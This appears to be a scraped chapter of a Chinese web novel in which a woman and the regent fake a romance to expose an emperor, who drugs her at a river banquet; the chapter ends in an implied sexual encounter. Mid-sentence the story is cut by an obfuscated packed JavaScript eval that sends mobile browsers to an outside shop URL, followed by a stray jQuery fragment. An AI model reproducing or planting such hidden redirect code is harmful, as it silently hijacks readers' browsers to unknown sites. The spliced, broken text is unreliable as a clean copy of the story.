温岁岚谨慎地关上门,谢闽觉得好笑,“摄政王府飞不进来一个鸽子。”
“小心为上。”
温岁岚坐到谢闽对面,把事情给他理了一遍,“陛下会不会想让你心悦我,然后再抢走我,满足他变态的心理?”
谢闽颔首,“有可能。”
温岁岚见他情绪不高,疑惑问道:“王爷不惊讶?”
谢闽放下手中的折子,看她,“你可知昨夜谢覃来找我说了什么?”
“什么?”
“他说你心悦我。”
温岁岚吓得差点站起来,“啊?王爷,你信了?”
谢闽又低下头看折子。
“我该信吗?”
温岁岚立马道:“当然不该啊。”
“本王也不信。”
温岁岚松了口气,“那就好。”
然后谢闽又说:“可段常偏说你为我挡箭,又为我按摩,这就是心悦的表现。”
温岁岚心中有些抓狂。
“挡箭我不是和王爷解释过了吗,按摩那是看王爷不舒服,换一个人我都会这么做的。”
“换一个人?”
温岁岚点点头,细数:“像周竺,我娘。”她说完两个人名卡住了,好像身边除了周竺和刘玉娘外,她只有谢闽和段常两个熟人了。
“哦。”
谢闽应了一声,不说话了。
温岁岚对接下来的话有些犹豫了,谢闽头也没抬,“你今日来王府就说这个?”
“不是。”
谢闽耐心地等着她继续开口。
“王爷,我是想要不我们演一出戏,引蛇出洞。”
谢覃就像悬在她脖子上的一把刀,一天没处理,她心慌一天,还不如主动出击,等解决完谢覃,她就带着周竺和刘玉娘离开皇城,去游山玩水。
“如何演?”
温岁岚见他没有拒绝,心里一松:“我与王爷假装互相喜欢,引陛下做出下一步行动。”
***
一切商量好后,温岁岚心中的石头落了地,之后的日子恢复正常,该带货就带货,只不过每次带货多了一个打赏新人。
“感谢摄政王送来的豪华马车!”
“感谢摄政王送的顶尖府邸!”
……
马车谢闽确实送了,府邸就是郊外的那个庄子,除此之外,还打赏了不少金子。
于是,整个皇城议论纷纷,都知道摄政王似乎心悦这位带货的温姑娘,还日日花大手笔打赏,成为常驻的榜一大哥。
段常对此表示心痛。
他没想到王爷追人那么大方,虽说摄政王府不缺钱,可也经不起这么花啊!
段常隐晦提醒:“王爷,您一次打赏的东西就够当一整天的榜一了。”
哪想谢闽没把他的话听进去,反而问道:“今日榜一是谁?”
“是您!”
段常带着情绪走了。
温岁岚也没想到谢闽那么大方,她想着要不要私下还回去一些,毕竟演个戏没必要搭上他那么多钱,结果她向谢闽提出还钱的想法时,谢闽拒绝了。
好吧,是她不懂有钱人的想法了。
既然谢闽乐意打赏,她就高兴收着,谁会嫌钱多呢。
皇城八卦也传进了谢覃耳里,他神色不明,直到下午,谢闽和温岁岚都收到了从皇宫送来的帖子。
——邀请他们明夜去江上游玩。
“王爷,蛇出洞了。”
“嗯。”
温岁岚的好心情一直保持到第二日晚上,这次游玩有谢闽在,她不用担心生命安全。
谢闽说演戏要演全套,晚上便来接上她一起去了相约的地方。
“见过王爷。”
众人纷纷行礼,又暗暗用好奇的眼神打量谢闽身边的温岁岚,想要瞧瞧这满城议论的温姑娘是何许人。
“这位就是温姑娘罢?”
一位妇人笑着搭讪,“听闻温姑娘培养了不少姑娘学带货。”
这也是最近热议的事情,之前温岁岚说可以教带货,有很多姑娘听了纷纷报名,最后因为人数太多,温岁岚特意举办了个面试,挑选出了八个家境困难的女子。
如今那八个女子分别在皇城不同地方带货,还带得有模有样。
温岁岚只笑了笑,并不搭话。
她无意和这些官妇人扯上关系,今天的目标很清晰。
谢覃准备的很充足,这是一个巨大的船只,大船身后还跟着数不清的小船。
“今夜各位爱卿尽兴!”
谢覃举起酒杯,温岁岚见酒都是一个壶倒出来的,放下心轻抿一口。用膳至一半,谢覃突然看向温岁岚。
“记得温姑娘说自己不能喝酒。”
是吗?
温岁岚忘记了。
她故意抬手用宽袖挡住唇轻轻咳嗽几声,眼眶周围顿时红了,“多谢陛下关心。民女的确不能喝酒,方才不能扫兴,沾了些酒水,此刻难受难忍,还望陛下允许民女离席休息。”
谢覃大笑,一副和蔼的模样。
“温姑娘快去罢,实在不适记得叫太医。”
“多谢陛下。”
她一起身,谢闽也跟着站了起来。
在座官员笑着调侃,“王爷对温姑娘着实爱护得紧。”
温岁岚假装羞涩地偏过头,躲在谢闽另一侧。
“莫调侃她。”谢闽语气中并无责备。
众官员大笑起来。
“王爷和温姑娘休息去罢。”
“身子重要。”
在众人你一言我一语之下,两人离开大船,走到谢覃给谢闽准备的小船上。
“王爷,可要看看星星?”
这个位置背对着大船,中间又有船舱挡着,谢覃看不见二人。
谢闽顺势坐下,偏头问:“可有不适?”
温岁岚笑笑。
“好了。”
她很久没见过那么多星星了,小时候和孤儿院里的伙伴一起看星星,长大后天上的星星少得不能再少,只有一两颗闪着微弱的光。
两人安静地看了一会儿星星,大船的宴席也散席了,众官员搂着美人或者夫人回到小船上。
“王爷,你有没有觉得有些热?”
谢闽转头一看,温岁岚双颊绯红,眼神也迷离起来。
——这个样子他熟悉不过。
温岁岚感受到熟悉的反应,瞬间明白:她又中药了。
这谢覃怎么光逮着她薅啊!
这次的药劲比上次的强烈许多,温岁岚一下软倒在地。
谢闽很快反应过来,把她抱起放进船舱里的床上,“宣太医!”
温岁岚心里恨死谢覃了,退一万步说,怎么不给谢闽下药,非得给她下药。
太医许久没来,谢闽走出船舱,“太医呢?”
“回王爷,太医都在陛下那儿。”
谢闽冷声下令:“靠岸停船。”
太监汗流浃背,“王爷,陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120160|149859||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下有令,不得私自停船。”
话音刚落,船舱周围的侍卫纷纷拔刀上前,谢闽再次开口:“停船。”
“是、是。”
太监焦急地往前方大船上瞟了几眼,扬声吩咐:“摄政王有令,靠岸停船!”
一声令下,周围小船里的官员纷纷从船舱走出,个别在摇晃的船舱也渐渐停下。
“王爷,可有要事发生?”
离谢闽所在船只最近的一位官员拱手询问,其他人见状侧耳倾听。
“传太医。”
众人联想起之前温岁岚说自己身子不适,恍然大悟,附和道:“太医呢,快叫太医。”
谢覃从大船船舱走出,绕到船尾,面朝众人。
“皇叔,方才朕有些不适,太医回宫给朕抓药去了。”
一听便知道是谎话,可众人支支吾吾没有说出来,还有人附和:“那是真不巧了。”
船只渐渐靠岸,段常带人走上前,谢闽转身从船舱中把温岁岚抱出来,一声不吭地离开了,身后谢覃目光沉沉。
从这里到摄政王府的时间,足够了。
温岁岚此刻神志不清,只往谢闽怀里蹭,被抱上马车后,“王爷,快马加鞭。”
她感觉要撑不住了。
“嗯。”谢闽把她浸湿的发丝往耳后一别,“再忍忍。”
温岁岚喘着气,心中把谢覃骂了几百遍,这皇帝能再下.三.滥一些吗,天天不想着为国为民,净想着给她下药,满足自己的变.态.欲。
马车比以往快了不少,在温岁岚把茶壶中的水全喝完时,赶到摄政王府门口。
“传府医。”
有了上次的经验,谢覃直接把温岁岚抱去汤池。
温岁岚靠在池壁上,额头不断冒出细汗,这次的反应来得更加剧烈,如果说上次只是单纯的体温上升,意识模糊,这次就是在此基础上,五脏六腑都开始发热。
“王爷。”府医摇摇头,他都要自我怀疑了,从医多年从未像这段时间一般连续遇见无药可解的药。
谢闽挥退府医,望着泡在浴池的背影。
“王爷。”温岁岚艰难转头,“要不你给我找个人来,帮帮我。”
——“帮帮我。”
谢闽怔在原地,温岁岚还在继续说:“……要个好看点的。”
“还要干净的。”
温岁岚害怕到时候药性解了,却把自己的健康搭上了。
谢闽走上前,伸手想把她从浴池抱起,却不知想到了什么,触碰到她肌肤时,又收回了手。
他的手指很凉。
温岁岚忍不住缩了缩肩膀,口中泄出一丝春意。
“……王爷?”
她的眼前一片模糊,只凭本能朝着谢闽那边摸去,摸到谢闽衣角时,她吐出一口气,从浴池里站了起来。
“温岁岚。”
“嗯?”
温岁岚把双手搭上谢闽的脖颈,“王爷——”
“我忍不住了。”
***
温岁岚最后的回忆停留在温热的水温,以及那微凉的肌肤上,之后她便睡死过去。
谢闽把她用衣裳包好,放到内室的床上。
刚沾上床,温岁岚又醒了,半眯着眼,也不知意识是否清晰。
“王爷?”
“嗯。”谢闽低下头看她,摸了摸她微红的脸。
没那么烫了。
“你没病吧?”
“嗯?”谢闽错愕。